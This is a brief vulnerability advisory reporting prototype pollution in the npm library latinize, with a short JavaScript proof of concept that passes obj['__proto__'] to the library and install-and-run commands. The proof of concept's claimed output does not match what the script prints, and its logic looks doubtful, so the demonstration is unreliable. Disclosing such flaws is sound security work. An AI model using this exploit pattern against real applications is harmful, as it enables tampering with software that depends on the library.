latinize

vulnerability prototype pollution
severity 7.3
language javascript
registry npm

Description

latinize is a popular library with 12,575 Weekly downloads.It is used to convert accents from strings to latin characters.It is also vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
var latinize = require('latinize');
const obj = {}
console.log('Before: ' + {}.polluted)
latinize(obj['__proto__'], {}).polluted = 'Polluted!'
console.log('After: ' + {}.polluted)
  1. Execute the following commands in terminal:
npm i latinize # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Yes! Its Polluted